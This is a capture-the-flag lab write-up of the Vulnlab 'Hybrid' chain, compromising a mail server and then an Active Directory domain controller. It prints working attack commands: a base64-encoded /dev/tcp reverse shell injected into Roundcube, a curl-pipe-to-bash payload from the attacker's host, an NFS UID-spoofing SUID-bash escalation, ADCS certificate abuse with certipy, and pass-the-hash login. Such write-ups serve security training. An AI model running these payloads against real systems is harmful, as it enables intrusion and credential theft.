VL-Hybrid

Panosoiko

2025-03-28

Chain, VL

Initial Reconnaissance

mail01.hybrid.vl

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu)
25/tcp    open  smtp     syn-ack ttl 63 Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
80/tcp    open  http     syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
110/tcp   open  pop3     syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: UIDL CAPA PIPELINING STLS TOP RESP-CODES SASL AUTH-RESP-CODE
111/tcp   open  rpcbind  syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34727/udp   mountd
|   100005  1,2,3      54128/udp6  mountd
|   100005  1,2,3      56559/tcp6  mountd
|   100005  1,2,3      58479/tcp   mountd
|   100021  1,3,4      39665/tcp6  nlockmgr
|   100021  1,3,4      42639/udp6  nlockmgr
|   100021  1,3,4      43503/tcp   nlockmgr
|   100021  1,3,4      53303/udp   nlockmgr
|   100024  1          37589/tcp   status
|   100024  1          45525/tcp6  status
|   100024  1          51675/udp   status
|   100024  1          52103/udp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
143/tcp   open  imap     syn-ack ttl 63 Dovecot imapd (Ubuntu)
587/tcp   open  smtp     syn-ack ttl 63 Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
993/tcp   open  ssl/imap syn-ack ttl 63 Dovecot imapd (Ubuntu)
995/tcp   open  ssl/pop3 syn-ack ttl 63 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: UIDL CAPA PIPELINING USER TOP RESP-CODES SASL(PLAIN LOGIN) 
2049/tcp  open  nfs_acl  syn-ack ttl 63 3 (RPC #100227)
37589/tcp open  status   syn-ack ttl 63 1 (RPC #100024)
43503/tcp open  nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
43935/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
50923/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
58479/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)

Machine: Ubuntu
Initial Observations:

SMTP: Potential for username enumeration (two ports available)
HTTP: Possible exploit avenue
SSH: Potential credential discovery
Recommendation: Perform full port scan

SMTP Exploration

Initially attempted to exploit a CVE for SMTP RCE, but was unsuccessful.

SMTP

After directory searching, discovered:

Port 80 runs Roundcube Webmail Release 1.6.1
No major known vulnerabilities initially apparent

Roundcube Webmail Analysis

Examined composer.json for version and dependency details.
References:

Rapid7 Vulnerability Database

NFS Exploration

Mount NFS Share:

1	sudo mount -t nfs -o vers=3 10.10.176.38:/opt/share /mnt/tmpmnt -o nolock

Found backup.tar.gz, extracted contents:

1	tar -xvzf backup.tar.gz

Extracted Files:

/etc/passwd
/etc/sssd/sssd.conf
/etc/dovecot/dovecot-users
/etc/postfix/main.cf
/opt/certs/hybrid.vl/fullchain.pem
/opt/certs/hybrid.vl/privkey.pem

Credential Discovery

In /mnt/etc/dovecot/dovecot-users:

1 2	admin@hybrid.vl:{plain}Duckling21 peter.turner@hybrid.vl:{plain}PeterIstToll!

Peter's Email

Exploitation Strategy

Identified Vulnerability:

Roundcube version 1.6.1 and prior (with markasjunk plugin enabled)
SSD Advisory - Roundcube RCE

Exploitation Techniques:

Base64 Encoded Payload:

1	L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC44LjUuMTk1LzQ0NDQgMD4mMQ==

Url Encode it:

1	L2Jpbi9zaCAtaSA%2BJiAvZGV2L3RjcC8xMC44LjUuMTk1LzQ0NDQgMD4mMQ%3D%3D

Put it all together and send it threw burp:

1	admin%26echo${IFS}L2Jpbi9zaCAtaSA%2BJiAvZGV2L3RjcC8xMC44LjUuMTk1LzQ0NDQgMD4mMQ%3D%3D\|base64${IFS}-d\|bash%26%40hybrid.vl

Shell Exploitation

Alternate Payload Method:

1	peter.turner&curl${IFS}10.8.5.195/shell.sh${IFS}\|${IFS}bash&@hybrid.vl

After creating the identity we send a email the ourselves (using the identity we created) and we click the Junk button for the payload to trigger

Privilege Escalation

Database Credentials after running linpeas:

1	$config['db_dsnw'] = 'mysql://roundcube:Duckling21@localhost/roundcubemail';

MySQL Access:

1	mysql -u roundcube -p roundcubemail

Privilege Escalation
We didnt find anything noteworthy on the database.

Advanced NFS User Context Exploitation

This exploit leverages a sophisticated technique involving User ID (UID) manipulation and NFS (Network File System) permissions. By carefully crafting a series of steps, we can potentially gain access to a user’s context without direct credential compromise.

Initial User Reconnaissance

When examining the target user’s identification details, we observe a critical piece of information:

1
2
3

www-data@mail01:~/roundcube$ id peter.turner@hybrid.vl
id peter.turner@hybrid.vl
uid=902601108(peter.turner@hybrid.vl) gid=902600513(domain users@hybrid.vl) groups=902600513(domain users@hybrid.vl),902601104(hybridusers@hybrid.vl)

Exploitation Methodology

The core of this technique revolves around creating a local user with an identical UID and manipulating the bash executable’s permissions through an NFS-mounted share.
The attack involves a nuanced approach of running /bin/bash in a context that mimics the target user, without directly compromising their actual credentials. By creating a user with the same UID and strategically modifying the bash binary, we can effectively execute commands in the target user’s context.

Detailed Exploitation Steps

Each step is carefully designed to recreate the target user’s environment and escalate privileges:

Remote Host: cp /bin/bash /opt/share/
- Copying the /bin/bash executable into the NFS share.
Local Host: sudo useradd peter.turner@hybrid.vl -u 902601108
- Creating a user named peter.turner@hybrid.vl with the same UID as the remote machine.
- NOTE: We will need to edit /etc/login.defs and change UID_MAX to a value greater than 902601108.
Local Host: sudo su -l peter.turner@hybrid.vl
- Logging into the new user we created.*
Local Host: sudo mount -t nfs -o vers=3 10.10.231.246:/opt/share /mnt/tmpmnt -o nolock
- Mounting the NFS share to /mnt/tmpmnt once more.
Local Host: cp /mnt/tmpmnt/bash /tmp/tmpbash/
- Copying the bash executable to a temporary directory just so we can reset the privileges of the binary/
Remote Host: rm /opt/share/bash
- Removing the bash executable from the remote machine so that we can replace it with a newly configured bash executable.
Local Host: cp /tmp/tmpbash/bash /mnt/tmpmnt/
- Copying our executable back into the NFS share.
Local Host: chmod +s /mnt/tmpmnt/bash
- Configuring the sticky bit of the bash executable. By configuring this privilege, it is essentially saying that any user that runs this binary will run it as the context of that user.
Remote Host: /opt/share/bash -p
- We are running the bash binary with -p, which stands for privileged mode. This essentially means that it will set the effective user ID (EUID) to the real user ID. The binary will run with the permissions of the same user who invoked it based on the user ID. (In this case, peter.turner@hybrid.vl)
  https://github.com/InfoSecWarrior/Offensive-Pentesting-Enumeration/blob/main/NFS/README.md#escalate-the-privileges-by-nfs

dc01.hybrid.vl

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-22 13:05:38Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory 
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory 
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: HYBRID
|   NetBIOS_Domain_Name: HYBRID
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: hybrid.vl
|   DNS_Computer_Name: dc01.hybrid.vl
|   Product_Version: 10.0.20348
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50182/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
53771/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53784/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53791/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53807/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55984/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

ADCS (Active Directory Certificate Services) Exploitation

Initial Reconnaissance

1	certipy find -u 'peter.turner'@hybrid.vl -p 'b0cwR+G4Dzl_rw' -dc-ip 10.10.210.149

ESC1 Exploitation

Machine Account Exploitation

Used KeyTabExtract to obtain NTLM hash:

1	python3 keytabextraction.py krb5.keytab

Certificate Request:

1	certipy req -u 'MAIL01$'@hybrid.vl -hashes '<HASH>' -ca 'hybrid-DC01-CA' -template HybridComputers -dc-ip 10.10.210.149 -upn 'administrator@hybrid.vl' -dns dc01.hybrid.vl -key-size 4096 -debug

Final Domain Admin Acquisition

Targeted edward.miller:

1	certipy req -u 'MAIL01$'@hybrid.vl -hashes '<HASH>' -ca 'hybrid-DC01-CA' -template HybridComputers -dc-ip 10.10.210.149 -upn 'edward.miller@hybrid.vl' -key-size 5000 -debug

WinRM Access:

1	evil-winrm -i 10.10.210.149 -u edward.miller -H '<HASH>'

Domain Admin Access

https://api.vulnlab.com/api/v1/share?id=3699f13c-1071-42b6-a209-7417a77b9d86